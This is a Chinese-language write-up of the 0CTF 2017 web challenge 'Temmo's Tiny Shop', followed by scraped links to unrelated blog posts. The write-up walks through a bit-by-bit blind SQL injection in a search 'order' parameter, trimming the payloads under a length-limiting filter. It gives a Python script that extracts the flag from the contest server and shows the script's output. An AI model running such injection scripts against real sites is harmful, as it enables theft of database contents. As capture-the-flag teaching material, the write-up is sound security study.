洒家参加了0CTF 2017,做了一些题目。赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路。

一些不错的Writeup

Temmo’s Tiny Shop

洒家看网上的Writeup 在拿到Hint,知道flag的表名后爆破flag的每一字节,效率可能比较低。这里是洒家比赛的时候想到的按bit爆破的方法,对于ASCII,只考虑7bit,每字节固定需要7次请求即可得到。

需要购买Erwin Schrodinger's Cat和Brownie。

一开始的Payload是:

case(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2))when(1)then(name)else(price)end

由于长度限制(WAF,最长100字节),修改Payload:

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,price)

由于长度还是太长,把Price改成3也可以排序。

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,3)

注:此处的3并不是按第3列排序,即和order by 3 作用不同,而是和 order by '3' 作用相同,和不加order by 效果相同(不知道是MySQL什么特性)

由此,最终的脚本是:

import requests

# code from https://www.cnblogs.com/go2bed/p/6607565.html
s = requests.Session()
cookie = {'PHPSESSID':'YOURCOOKIE'} # add your cookie
url = 'http://202.120.7.197/app.php' true_str = '"goods":[{"id":"5"'
false_str = '"goods":[{"id":"2"'
order_by_template = 'if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1))div(%d)mod(2),name,3)' flag = ''
for place_index in xrange(1, 1000):
place_bin = ''
for times in xrange(6,-1,-1):
num = 2 ** times
order_by = order_by_template % (place_index, num)
params = {'action':'search','keyword':'','order':order_by}
r = s.get(url, params=params, cookies=cookie)
#print r.content
if true_str in r.content:
new_place_bin = ''
else:
new_place_bin = ''
print new_place_bin,
place_bin += new_place_bin place = chr(int(place_bin, 2))
flag += place
print flag if '}' in flag:
break print '\n***** get flag *****'
print flag

运行效果:

1 1 0 0 1 1 0 f
1 1 0 1 1 0 0 fl
1 1 0 0 0 0 1 fla
1 1 0 0 1 1 1 flag
1 1 1 1 0 1 1 flag{
1 1 1 0 0 1 0 flag{r
0 1 1 0 1 0 0 flag{r4
1 1 0 0 0 1 1 flag{r4c
1 1 0 0 1 0 1 flag{r4ce
1 0 1 1 1 1 1 flag{r4ce_
1 1 0 0 0 1 1 flag{r4ce_c
0 1 1 0 0 0 0 flag{r4ce_c0
1 1 0 1 1 1 0 flag{r4ce_c0n
1 1 0 0 1 0 0 flag{r4ce_c0nd
1 1 0 1 0 0 1 flag{r4ce_c0ndi
1 1 1 0 1 0 0 flag{r4ce_c0ndit
1 1 0 1 0 0 1 flag{r4ce_c0nditi
0 1 1 0 0 0 0 flag{r4ce_c0nditi0
1 1 0 1 1 1 0 flag{r4ce_c0nditi0n
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i
0 1 1 0 1 0 1 flag{r4ce_c0nditi0n_i5
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_i5_
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_e
1 1 1 1 0 0 0 flag{r4ce_c0nditi0n_i5_ex
1 1 0 0 0 1 1 flag{r4ce_c0nditi0n_i5_exc
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i5_exci
1 1 1 0 1 0 0 flag{r4ce_c0nditi0n_i5_excit
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite
1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited
1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited} ***** get flag *****
flag{r4ce_c0nditi0n_i5_excited}

0CTF 2017 部分Web的某些不一样的思路的更多相关文章

  1. JAVA WEB 用servlet实现分页,思路比较清晰和简单。

    JAVA WEB 用servlet实现分页,思路比较清晰和简单.借鉴了其他大佬的思路.特别感谢. 是我第一次发表博客,如果有什么错误,欢迎大家指出!,谢谢 一.思路分析 前台一定是有类似这种的界面 点 ...

  2. 2017年Web前端开发工程师薪资越来越高?

    放眼全球,不仅在国内的互联网行业,在国外,前端工程师一样是需求旺盛.供不应求的香饽饽.所以在供不应求的前端招聘市场上,优秀的前端工程师才是有话语权的那一方. 前端开发是做什么的? 前端是互联网时代软件 ...

  3. Intellij Idea 2017创建web项目及tomcat部署实战

    相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直接安装(可根据需要选择自己设置的安装目录),jdk使用1.6/1.7/1.8都可以,主要是配置好系 ...

  4. 【Intellij】Intellij Idea 2017创建web项目及tomcat部署实战

    相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直接安装(可根据需要选择自己设置的安装目录),jdk使用1.6/1.7/1.8都可以,主要是配置好系 ...

  5. 6. Intellij Idea 2017创建web项目及tomcat部署实战

    转自:https://www.cnblogs.com/shindo/p/7272646.html 相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直 ...

  6. 2017百度web前端实习生在线笔试题

    代码: import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner s ...

  7. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  8. 对RESTful Web API的理解与设计思路

    距离上一篇关于Web API的文章(如何实现RESTful Web API的身份验证)有好些时间了,在那篇文章中提到的方法是非常简单而有效的,我在实际的项目中就这么用了,代码经过一段时间的磨合,已经很 ...

  9. 移动端Web适配的两种做法思路总结

    看了几篇文章,理一下网易跟淘宝移动端适配的思路,主要是参考 从网易与淘宝的font-size思考前端设计稿与工作流 像素相关概念 物理像素(physical pixel) 一个物理像素是显示器(手机屏 ...

随机推荐

  1. 【共享单车】—— React后台管理系统开发手记:Router 4.0路由实战演练

    前言:以下内容基于React全家桶+AntD实战课程的学习实践过程记录.最终成果github地址:https://github.com/66Web/react-antd-manager,欢迎star. ...

  2. GDI+重绘笔记

    有的控件不能重载 OnPaint,设置 ControlStyles.UserPaint = true即可 //如果为 true,控件将自行绘制,而不是通过操作系统来绘制. //如果为 false,将不 ...

  3. 18. 使用模板【从零开始学Spring Boot】

    转:http://blog.csdn.net/linxingliang/article/details/52017098 18.1 使用thymeleaf 整体步骤: (1)       在pom.x ...

  4. 雪习新知识:Java 内部类

    本文出自 http://blog.csdn.net/zhaizu/article/details/49176543,转载请注明出处. 嵌套类,内部类,静态内部类,静态嵌套类.匿名类,成员类,局部类,傻 ...

  5. SAS学习经验总结分享:篇二—input语句

    SAS编程语言中input语句的应用         SAS数据步的建立离不开input语句,在读入外部数据或cards语句后面的数据块时需要通过input语句定义变量.下面介绍input语句定义变量 ...

  6. 使用Excel2007去反复功能时要注意的一个问题

    作者:iamlaosong Excel2007有个去反复功能(菜单:数据----删除反复项).非常实用,过去须要用VBA编程实现的功能,如今点击一下图标即可了.去反复通常是指定某列或者某几列.依据这指 ...

  7. 源码维护基本命令diff_patch_quilt

    源码维护基本命令 一. diff--生成补丁 diff [命令行选项] 源文件 新文件 -r 递归处理相应目录 -N 包含新文件到patch -u 输出统一格式(unified format),这种格 ...

  8. 规范-Git打标签与版本控制

    Git打标签与版本控制规范 前言 本文适用于使用Git做VCS(版本控制系统)的场景. 用过Git的程序猿,都喜欢其分布式架构带来的commit快感.不用像使用SVN这种集中式版本管理系统,每一次提交 ...

  9. java jdbc 同时操作查询删除操作

    Connection conn = null;        try {            // 创建连接实例            conn = JdbcUtility.GetFactory() ...

  10. PHP、AJAX综合练习(增、删、改、查、分页、模糊查询)

    先来几张效果图 主页面分页显示: 关键字查询,关键字描红 添加数组,弹出窗口,点击保存,再不刷新页面的同时添加到网页数据 修改界面:弹出窗口,文本框中保留点击的车辆的原始信息 主页面代码 <me ...